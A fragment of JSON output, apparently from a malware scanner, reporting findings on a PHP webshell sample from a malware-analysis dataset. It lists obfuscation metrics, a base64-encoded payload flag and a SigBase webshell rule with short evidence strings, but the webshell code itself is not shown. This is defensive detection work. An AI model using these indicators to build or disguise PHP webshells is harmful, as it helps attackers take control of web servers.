"objectives/anti-static/obfuscation/code-metrics/strings::few-strings", "l": 3, "m": "B0032" }, { "a": "T1027", "c": 0.699999988079071, "d": "Very low whitespace ratio (minified/compressed)", "e": [ "text.whitespace_ratio = 0.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::low-whitespace", "l": 2, "m": "B0032" }, { "a": "T1027", "c": 0.8999999761581421, "d": "PHP source contains very long line", "e": [ "text.max_line_length = 17989.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/identifiers::php-single-long-line", "l": 4, "m": "B0032" }, { "c": 0.8999999761581421, "d": "Encoded payload detected: base64", "e": [ "@error_reporting(E_ALL);@ini_set(\"displa \u003cbase64\u003e" ], "i": "metadata/encoded-payload/base64", "l": 3 }, { "c": 0.8999999761581421, "d": "php webshell containing base64 encoded payload", "e": [ "base64_decode", "\u003c?php", "V2YW", "\u003c?" ], "i": "third_party/SigBase/WEBSHELL/PHP/Base64/Encoded/Payloads", "l": 5 } ], "sha": "d4b4a6abc45722a25ddb51aa56deed3c5cf42753e68d4e0ef0614d6dc44f82a7", "path": "/data/samples/bad/datasets/php-malware-analysis/202.178.125.156-2018-09-10a/dc1.php", "type": "php" } ], "tv": "bef72" } }